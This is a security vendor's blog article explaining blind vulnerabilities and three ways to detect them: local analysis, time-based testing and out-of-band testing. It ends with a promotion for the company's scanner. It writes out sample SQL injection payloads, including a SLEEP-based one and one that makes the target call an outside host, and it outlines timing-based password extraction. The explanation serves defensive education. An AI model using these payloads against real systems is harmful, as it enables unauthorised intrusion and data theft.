There are times where an attacker can hack a system and yet nothing is sent back, and this is classified as a blind vulnerability. This article will explain blind vulnerability detection and how Detectify’s scanner detects them:
If we simplify web hacking, it usually means that an attacker is sending some data from their computer to a server, the server processes the data and then sends something back to the attacker. The attacker evaluates the result, modifies what was sent in the first step, and repeats until desired results have been achieved.
Let take SQL injection as an example. There might be a parameter in the URL of a blog, and when the attacker puts a bunch of weird characters there instead of a number, the website responds with an error page.
After playing around with it, the attackers figures out that the ID in the URL really is an instruction to the server regarding what blog post to show. If you go to blog.php?id=3the server will read the content of blog post number three from the database and then show it to the user.
By using a SQL-injection payload instead of the number three in the URL, the attacker is able to trick the server to read the content of all user passwords instead. When going to that specified URL, the content will list all passwords instead of showing a blog post.
—
Another example, the web application has the ability to import images from a URL.
By entering the URL of an internal API, the attacker is able to see the response and maybe steal data instead of public images (that would be an SSRF vulnerability).
—
While the attack itself might be very complex, it is to some extent understandable what is happening. The attacker tricks the server into sending back other information than intended.
But how do you then hack a system that does not send anything back?
Instead of a URL parameter for a blog post, maybe the vulnerable parameter would be your referrer header (the previous URL when you click on a new link) for a behind-the-scenes analytics software. Maybe you are not directly fetching images from a URL, but instead configuring a webhook where data will be sent to at a later stage.
Such vulnerability is usually referred to as a blind vulnerability.
Different ways of detection:
There are three primary ways of detecting and exploiting such a vulnerability:
Local systems
If the software with the blind vulnerability is an open source tool, or the attacker in some other way is able to get a copy of the source code, they do not actually have to get any feedback from the system whether it worked or not.
An attacker could set up the system locally, and while it is running on their own machine, analyze all actions and steps taken. After compiling the payload against their own system, they can then just change the target to someone else and be confident if worked, even if they actually do not see the results.
This is often the first-step of the other two types of detection methods, as it otherwise can be hard to know what parameters to test for what.
Time-based
Let’s continue the example of the analytics system. If the server application takes your referrer header and directly puts it in a SQL-query, we could fake that we are coming from https://example.com/?";SLEEP(10);--
If that allows us to break out from the quotation and run SLEEP(10) as an additional command it will make the system wait for ten seconds. If that requests takes a long time to load we can start to suspect something is up.
Now do the same request, but replace 10 with 20. If that requests takes roughly 20 seconds, while the third request with SLEEP(0) loads almost instantly we can be almost sure that the SQL injection actually works, all without any visual proof from the server.
The next question is how much of value this actually is for an attacker. Is it really interesting to write your custom SQL-queries if you cannot actually see the results? Firstly, it probably is assuming that we can also insert new data. We do not need to be able to read the password of the current admin if we are able to just insert a new admin to the database. Secondly, it actually is possible to read data through a timing attack as well!
Instead of making the server almost sleep, we make it sleep on a condition:
If PASSWORD of ADMIN starts with A: sleep(1)If PASSWORD of ADMIN starts with B: sleep(2)
By sending enough requests we are able to extract one character at a time. As you automate this kind of attack, it is much more feasible than it might first sounds like, and there are free tools out there which can help an attacker with this.
However, sometimes time-based is not an option either. Maybe this analytics system is processed asynchronously – the website does not wait while the database is sleeping. Then we need to find another way of detecting it to execute our code.
An automated scanner such as Detectify would not use SLEEP(20) either, as that would risk making the web server unavailable for legitimate users while a scan is running. As the timing difference between a valid injection and a normal response would be so small with a shorter sleep span, this method is prone to false positives.
The answer to both those issues is the third following option: Out-of.band
Out-of-band
This is the method Detectify’s automated web app scanner uses is most cases, as the results are more reliable and less prone to false positives.
Instead of making the server sleep and measuring the response time, we generate a random ID which we send to the server. We then instruct the server to make an external request to our server containing this ID.
Instead of using:
https://example.com/?";SLEEP(10);--.
It could look like:
https://example.com/?";OPEN(‘https://{id}.detectify.com’);--.
If we then receive a request from the server, whether it happens instantly or a few minutes later, we can tie it back to the initial payload and understand what exact payload worked.
Compared to a time-based approach this also allows for extracting more information at once, as we could instruct the server to send all data at once instead of having to extract one character at a time.
This makes sure there are no false positives. While a delay might occur by chance, a request to our server with a specific ID does not.
More information can be found here: https://blog.detectify.com/2018/04/25/out-of-band-exploitation-support/
Impact of blind vulnerabilities
The impact of blind vulnerabilities varies as it is more of a variant of existing vulnerability than its own category. There are SQL-injection and blind SQL-injection, XSS and blind-XSS, etc. So the impact varies depending on what kind of vulnerability that is of the type blind.
Having a vulnerability blind does not decrease the impact of it, but rather the risk of it being exploited, as it most likely harder to find. If data extraction is done through a time-based attack, it should also be easier to detect an active attack due to the increase in requests needed.
Get started with Detectify
We use the Out-of-band method in our web application scanner to deliver more reliable results on blind vulnerabilities. Our test bed consists of 1500+ known vulnerability findings for the most common classes of vulnerabilities and also goes beyond the OWASP Top 10. Detectify web application scanner is free to try and you can start your 14-day free trial today.